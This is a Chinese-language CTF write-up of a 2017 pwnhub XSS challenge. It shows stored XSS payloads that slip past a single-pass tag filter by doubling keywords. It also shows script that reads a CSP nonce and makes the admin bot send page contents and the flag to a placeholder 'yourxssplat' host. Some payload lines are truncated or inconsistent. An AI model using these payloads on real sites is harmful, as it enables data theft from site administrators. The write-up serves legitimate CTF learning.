title: pwnhub绝对防御
date: 2017-04-22 17:26:59
tags: [writeup,pwnhub]

听说非预期挺多的，问了下没想到还是半正解

首先打开之后是一个留言板的功能，根据题目的描述，估计就是要先打admin的源码了。
首先大致测试下，发现一些关键点或者标签都被过滤了，如

```
script,img,svg,link,on ...
```

但是会发现只是被过滤了一次，双写就可以绕过

```
scrscriptipt,imimgg,svsvgg,lilinknk,oonn ...
```

符号也都没有被过滤
csp也是script-src 'self' 'unsafe-inline' 'unsafe-eval';
可以直接执行站内的script脚本
那么可以直接构造来打管理员页面的源码

```
<scrscriptipt>locatioonn.href='http://yourxssplat/?html='+encodeURICompoonnent(document.getElementsByTagName('html')[0].innerHTML)</scrs
```

在里面发现了

```
Wow, good guys,maybe you want /adminshigesha233e3333#admin
```

先手动访问下/adminshigesha233e3333，返回

```
Hello, maybe something in flag.php
```

那再请求flag.php，返回

```
hello, hacker, only admin can see it
```

思路暂时有了，就是要通过管理员查看flag.php页面再将获取的页面源码打回自己的xss平台就ok
那么直接通过留言板里xhr打admin试一下（一开始bot有点毒，其他账号能打，admin返回不了，多提交几次就好了）

```
<scrscriptipt>
var xhr=new XMLHttpRequest();
   xhr.oonnreadystatechange=functioonn () {
       if(xhr.readyState==4){
                if((xhr.status>=200&&xhr.status<300)||xhr.status==304){
                locatioonn.href='http://yourxssplat/?html='+encodeURICompoonnent(xhr.respoonnseText);
           }
       }
   };
   xhr.open("get","adminshigesha233e3333/flag.php",true);
   xhr.send(null);
</scrscriptipt>
```

很遗憾的发现返回了

```
nothing here,ヽ(ﾉ-ㄴ)ｒ,what ever you try, only from adminshigesha233e3333 can read it...
```

意思是要admin从/adminshigesha233e3333页面去请求flag.php才会返回某些东西
然后天真的我通过xhr设置了referer参数发现无效（是因为在浏览器就被禁止了，怎么构造都没用）

想一下还有啥可以利用的，想到有个返回结果是

```
Wow, good guys,maybe you want /adminshigesha233e3333#admin
```

直接去请求/adminshigesha233e3333#admin
发现返回的是

```
Hello,admin maybe something in flag.php
```

多出了admin这个词，查看源代码

```
<script nonce='jMPyhh1ELQxK'>document.write('Hello,' + unescape(location.hash.substring(1)) + '\r\n maybe something in flag.php')</scrip
```

果然发现了可控的东西
hash属性是一个可读可写的字符串，该字符串是 URL 的锚部分（从 # 号开始的部分）
所以可以构造/adminshigesha233e3333/#可控的内容
注意到还有unescape函数
想到这里可以构造script脚本
直接干一发alert(1)

```
/adminshigesha233e3333/#%3Cscript%3Ealert%281%29%3C%2fscript%3E
```

???啥都没有发生，咋回事
按下F12,看到
Content Security Policy: 页面设置阻止读取位于 self 的一项资源("script-src 'nonce-j0pEvQNuAFPn'")。 Source: alert(1).

噢,原来是有csp,而且注意到刚才html源码中出现过的

```
<script nonce='jMPyhh1ELQxK'>
```

知道了nonce是用来保护所需要执行的脚本,所以我们直接写入弹窗是不可行的,脚本必须还需要带上nonce的值才会被执行。
注意这里用的是document.write
思路又有了
我们只需要先获取这个页面的源码,来获取当前的nonce值,再让admin访问

```
/adminshige233e3333/#<script nonce="xxxxx">xhr请求</script>
```

这样的url就可以

用来获得nonce值的脚本为

```
<script>
var xhr=new XMLHttpRequest();
xhr.onreadystatechange=function () {
    if(xhr.readyState==4){
             if((xhr.status>=200&&xhr.status<300)||xhr.status==304){
               c014=xhr.responseText.substr(17,12);
                        }
    }
};
xhr.open("get","adminshigesha233e3333/",true);
xhr.send(null);
</script>
```

构造的url为

```
/adminshigesha233e3333/#
<scrscriptipt nonce='"+c014+"' >
var xhr=new XMLHttpRequest();
xhr.onreadystatechange=function () {
    if(xhr.readyState==4){
        if((xhr.status>=200&&xhr.status<300)||xhr.status==304){
            locatioonn.href='http://yourxssplat/?flag='+encodeURIComponent(xhr.responseText);
        }
    }
};
xhr.open("get","/adminshigesha233e3333/flag.php",true);
xhr.send(null);</script>
```

记得urlencode和双写的问题
最终payload为

```
<scrscriptipt>
var xhr=new XMLHttpRequest();
xhr.oonnreadystatechange=functioonn () {
    if(xhr.readyState==4){
             if((xhr.status>=200&&xhr.status<300)||xhr.status==304){
               tt=xhr.respoonnseText.substr(17,12);
               locatioonn.href="/adminshigesha233e3333/#%3Cscrscriptipt%20noonnce%3D%27"+c014+"%27%20%3Evar%20xhr%3Dnew%20XMLHttpRequest
             }
    }
};
xhr.open("get","adminshigesha233e3333/",true);
xhr.send(null);
</scrscriptipt>
```

发给管理员后就可以收到flag了